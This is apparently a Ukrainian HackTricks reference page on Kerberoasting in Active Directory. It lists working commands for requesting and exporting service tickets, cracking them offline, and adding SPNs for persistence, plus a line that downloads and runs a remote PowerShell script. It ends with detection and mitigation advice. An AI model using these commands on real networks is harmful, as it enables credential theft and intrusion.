Kerberoast

Використовуйте Trickest для легкої побудови та автоматизації робочих процесів, які працюють на основі найбільш продвинутих інструментів спільноти у світі. Отримайте доступ сьогодні:

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Kerberoast

Kerberoasting спрямований на отримання TGS-квитків, зокрема тих, що стосуються служб, які працюють під обліковими записами користувачів в Active Directory (AD), виключаючи облікові записи комп'ютерів. Шифрування цих квитків використовує ключі, які походять від паролів користувачів, що дозволяє можливість офлайн-відновлення облікових даних. Використання облікового запису користувача як служби вказується непорожнім властивістю "ServicePrincipalName".

Для виконання Kerberoasting необхідний обліковий запис домену, який може запитувати TGS-квитки; проте цей процес не вимагає спеціальних привілеїв, що робить його доступним для будь-кого з дійсними обліковими даними домену.

Ключові моменти:

  • Kerberoasting спрямований на TGS-квитки для служб облікових записів користувачів в AD.

  • Квитки, зашифровані ключами від паролів користувачів, можуть бути відновлені офлайн.

  • Служба ідентифікується за допомогою ServicePrincipalName, який не є порожнім.

  • Не потрібні спеціальні привілеї, лише дійсні облікові дані домену.

Атака

Інструменти Kerberoasting зазвичай запитують RC4 шифрування при виконанні атаки та ініціюванні запитів TGS-REQ. Це через те, що RC4 є слабким та легше відновлюється офлайн за допомогою інструментів, таких як Hashcat, ніж інші алгоритми шифрування, такі як AES-128 та AES-256. Хеші RC4 (тип 23) починаються з $krb5tgs$23$*, тоді як AES-256 (тип 18) починаються з $krb5tgs$18$*.

Linux

# Metasploit framework
msf> use auxiliary/gather/get_user_spns
# Impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
# kerberoast: https://github.com/skelsec/kerberoast
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable users
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes

Мульти-функціональні інструменти, включаючи дамп користувачів, які піддаються атакам Kerberoast:

# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c

Windows

  • Перелік користувачів, які можна атакувати методом Kerberoast

# Get Kerberoastable users
setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
Get-NetUser -SPN | select serviceprincipalname #Powerview
.\Rubeus.exe kerberoast /stats
  • Техніка 1: Запитайте TGS та витягніть його з пам'яті

#Get TGS in memory from a single user
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local

#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

#List kerberos tickets in memory
klist

# Extract them from memory
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder

# Transform kirbi ticket to john
python2.7 kirbi2john.py sqldev.kirbi
# Transform john to hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
  • Техніка 2: Автоматичні інструменти

# Powerview: Get Kerberoast hash of a user
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
# Powerview: Get all Kerberoast hashes
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins

# Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast

При запиті TGS генерується подія Windows 4769 - Був запитаний квиток служби Kerberos.

Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, які працюють на найбільш продвинутих інструментах спільноти у світі. Отримайте доступ сьогодні:

Взламання

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

Постійність

Якщо у вас є достатньо дозволів для користувача, ви можете зробити його кербероастом.

Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose

Ви можете знайти корисні інструменти для атак kerberoast тут: https://github.com/nidem/kerberoast

Якщо ви зустріли цю помилку на Linux: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great), це через ваш час на локальному комп'ютері, вам потрібно синхронізувати хост з DC. Є кілька варіантів:

  • ntpdate <IP of DC> - Застаріло починаючи з Ubuntu 16.04

  • rdate -n <IP of DC>

Пом'якшення

Kербероастинг може бути проведений з високим рівнем прихованості, якщо він є вразливим. Для виявлення цієї активності слід звертати увагу на Security Event ID 4769, що вказує на запит квитка Kerberos. Однак через високу частоту цього події, необхідно застосовувати конкретні фільтри для ізоляції підозрілих дій:

  • Ім'я служби не повинно бути krbtgt, оскільки це є нормальним запитом.

  • Імена служб, що закінчуються на $, слід виключити, щоб уникнути включення облікових записів машин, які використовуються для служб.

  • Запити від машин слід відфільтрувати, виключивши імена облікових записів у форматі machine@domain.

  • Розглядати лише успішні запити квитків, ідентифіковані за кодом помилки '0x0'.

  • Найважливіше, тип шифрування квитка повинен бути 0x17, який часто використовується в атаках Kerberoasting.

Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message

Для зменшення ризику Kerberoasting:

  • Переконайтеся, що Паролі облікових записів служби важко вгадати, рекомендується довжина понад 25 символів.

  • Використовуйте Керовані облікові записи служб, які пропонують переваги, такі як автоматична зміна паролю та делеговане керування іменами службових принципалів (SPN), підвищуючи безпеку від таких атак.

Впроваджуючи ці заходи, організації можуть значно зменшити ризик, пов'язаний з Kerberoasting.

Kerberoast без облікового запису домену

У вересні 2022 року дослідник на ім'я Чарлі Кларк висвітлив новий спосіб використання системи через свою платформу exploit.ph. Цей метод дозволяє отримати Квитки служби (ST) через запит KRB_AS_REQ, який, на відміну від інших методів, не потребує контролю над жодним обліковим записом Active Directory. По суті, якщо принципал налаштований таким чином, що не потребує попередньої аутентифікації - сценарій, схожий на те, що відомо в кібербезпеці як атака AS-REP Roasting - цю характеристику можна використовувати для маніпулювання процесом запиту. Зокрема, змінивши атрибут sname у тілі запиту, система обманюється, що видаватиме ST замість стандартного зашифрованого квитка для видачі квитків (TGT).

Техніку повністю пояснено в цій статті: повідомлення блогу Semperis.

Вам потрібно надати список користувачів, оскільки у нас немає дійсного облікового запису для запиту LDAP за допомогою цієї техніки.

Linux

GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/

Windows

Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Використовуйте Trickest для легкої побудови та автоматизації робочих процесів за допомогою найбільш продвинутих інструментів спільноти у світі. Отримайте доступ сьогодні:

Last updated